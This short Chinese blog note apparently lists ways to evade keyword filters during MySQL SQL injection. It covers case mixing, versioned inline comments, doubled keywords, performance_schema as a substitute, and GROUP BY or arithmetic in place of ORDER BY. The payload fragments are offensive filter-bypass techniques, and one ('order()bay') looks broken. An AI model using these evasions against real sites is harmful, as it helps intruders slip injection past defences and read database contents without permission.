绕过【information_schema】,【order by】过滤

1.大小写混合

利用数据库不区分大小写

inFOrmation_schema

inFoRMAtion_ScheMA

Order by

ORDer By

2./*!information_schema*/数据库的特性

/**/注释可以代替空格

/*!*/在这里会被mysql所识别

/*!50000information_schema*/

/*!order by*/

order/*666*/ by

order%0aby

order()bay

SELECT * FROM users ORDER `BY` `id` -- 

3.当过滤一个information_schema时

可以informationinformation_schema_schema

当information_schema被过滤这个就会被重新组成information_schema

ororder byder by

最后组成order by

4.同等替代

使用 performance_schema

performance_schema 是另一个系统数据库,主要用于性能监控。它提供了详细的性能指标和诊断信息,但也可以用来获取一些与 information_schema 类似的元数据。

虽然 performance_schema 主要用于性能监控,但它也可以提供一些关于数据库连接、锁、事件等的详细信息

order by可以用group by +聚合函数

select * from user group by id -- MySQL可能按id排序

union 的子查询排序

union select 1,2,3 from user order by 1

当order by 注入到union后的子查询中

数学表达式排序

select * from user order by id+0

转换为数字运算逃过关键字检测

你可能感兴趣的:(数据库,web安全)